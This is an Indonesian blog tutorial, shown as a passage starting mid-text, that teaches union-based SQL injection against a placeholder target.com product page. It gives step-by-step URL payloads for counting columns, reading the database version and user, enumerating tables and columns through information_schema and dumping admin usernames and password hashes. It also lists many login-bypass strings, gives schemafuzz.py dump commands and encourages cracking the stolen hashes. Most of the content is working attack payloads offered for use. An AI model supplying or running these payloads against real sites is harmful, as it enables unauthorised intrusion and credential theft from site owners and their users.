- syntax : order+by+1..dst --> (untuk mencari nomer akhir) pengecekan dimulai dari 1 s/d kondisi halaman mendapatkan kondisi false/error page.

Akhirnya kondisi false diketahui pada kolom 5 :
:: http://target.com/product_list.php?id=1 order by 1,2,3,4,5--
(Unknown column '5' in 'order clause', Sorry, no products in this category) / bisa juga pesannya beda...

atau bisa juga :
.:. http://target.com/product_list.php?id=1 order by 1-- [gak ada error]
http://target.com/product_list.php?id=1 order by 2-- [gak ada error]
http://target.com/product_list.php?id=1 order by 3-- [gak ada error]
http://target.com/product_list.php?id=1 order by 4-- [gak ada error]
http://target.com/product_list.php?id=1 order by 5-- [error ne]

---> Itu tandanya kolom yang ada diweb tsb ada 4 kolom

3. Jika sudah ktemu.. cari nomer togelnya...
- syntax : union+select

:: http://target.com/product_list.php?id=1 union select 1,2,3,4--
:: http://target.com/product_list.php?id=1 union all select 1,2,3,4--
kliatan gak nomer togelnya?? misal aja ya.. nomer yang kliatan 2 <-- nomer togel (asumsi aja)
kalo gak kliatan ya pasang aja version() disetiap nomer atu2 :D

4. mencari informasi MySQL
syntax :
- version mysql : version() atau @@version
- mengetahui jenis database : database()
- mengetahui user : user()
- lebih mudahnya, menggunakan perintah "concat()" untuk melihat semua informasi yang kita butuhkan di dalam satu tempat

:: http://target.com/product_list.php?id=1 union select 1,version(),3,4--

atau

:: http://target.com/product_list.php?id=1 union select 1,concat (version(),0x3a,user(),0x3a,database()),3,4--

taraaa....MYSQL versi 5.0.45 ( kita asumsikan aja kaya gitu..hehehe )

Untuk MySQL versi 5, kita bisa lanjutkan ke pemeriksaan tabel dan kolom.Tapi untuk versi 4, kita harus mencari dan menebak database(blind sqli),yg nama tabel dan kolom yang ditempatkan tidak beraturan.

nb : 0x3a adalah tanda ":" yang sudah dirubah mnjdi karakter hexadecimal (untuk memisahkan informasi yang kita inginkan)

5. Memeriksa tabel
Syntax : 'union+select' ; "group_concat(table_name)" ; "from+information_schema.tables+where+table_schema=database()--"
Artinya : kita akan mengeluarkan keseluruhan tabel menggunakan information schema dimana table yang di-schema adalah
dari fungsi query database().
Dapat diartikan bahwa database() adalah perintah yang digunakan untuk melihat nama database

:: id=1 union select 1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=database()--
Mencari tabel (limit) :
:: id=-1+union+select+1,table_name,3,4+from+information_schema.tables+limit+8,1--

6. Melihat Isi Kolom Dari Tabel
Untuk mengeluarkan column name, syntax-nya sama dengan mengeluarkan table name, hanya saja "table" kita ganti dengan
"column".

Syntax :
"union+select" ; "group_concat(column_name)" ; "from+information_schema.columns+where+table_name=nama_table_target--"

Artinya : kita akan mengeluarkan keseluruhan column menggunakan information schema dimana table name-nya = table yang
jadi tujuan

Contoh dalam tabel ada kolom "admin"
:: id=-1+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=0x61646D696E--
convert "admin" to hex -> 61646D696E


7. Melihat data dari kolom
perintah : 'group_concat(mbohkah,cuk,raimu,asu)'
misal tadi kolom yang keluar dari admin : user,id,password,kentu,nangdi,matamu,suwek

:: id=-1+union+select+1,group_concat(user,0x3,password),3,4+from+admin--

jreng..jreng... dapet dah...
d0ntcrymanis:0e311e5b9704f28b4e8557e8fa3fbe7d

pass crack dulu :)

macam2 hash banyak loh!!jadi harus belajar lagi.. gak cuma md5 aja.. ^^

.: Kemungkinan2 variable utk masuk kedalam login page tanpa password dan user name :D :.

1'or'1'='1

0'or'0'='0

admin'--

admin' #

admin'/*

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

password:' or 1=1--

or 1=1--

'or'a'='a

"or"a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi') or ('a'='a

hi") or ("a"="a

'or'1'='1' and firstname <>'d0ntcry <-- nama member

'or'1'='1' and firstname <>'d0ntcry' and firstname <>'dnock


/===========.tambahan.===========\

*) ada juga dengan teknik having 1=1 SQL Injection di MS-SQL Server (google please...)
*) schemafuzz : sqli instant.hihihihi... :p
schemafuzz.py -h <-- melihat perintah2nya
[+] --dbs [untuk mengetahui nama database sql]
[+] --schema [untuk melihat nama tabel n nama column]
[+] --dump [untuk melihat isi dari column]
contoh : (liat target atas) nomer togel diganti dengan "darkc0de"
1. c:/>schemafuzz.py --dbs -u "http://target.com/product_list.php?id=1 union select 1,darkc0de,3,4--
2. c:/>schemafuzz.py --schema -u "http://target.com/product_list.php?id=1 union select 1,darkc0de,3,4--" -D
3. c:/>schemafuzz.py --dump -u "http://target.com/product_list.php?id=1 union select 1,darkc0de,3,4--" -T -C -D
*) tools2 sqli yang bisa didapatkan di forum2 security...



sabaiknya coba cara manual dulu sebelum pake tools/python...
Matur nuwun.. kalo ada kekurangan mohon dimaafkan coz bisanya cuma maen2 kaya gini aja gak bisa nangkalnya.. urung dong bgt sqlan.. tapi berkat temen2 yang mau share pasti aq bisa..hohohohoho...^^


salam hangat,


d0ntcry,
waalaikum salam wr.wb

Source : Klik
----.end.of.fles.----
3 komentar more...

Looking for something beib?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!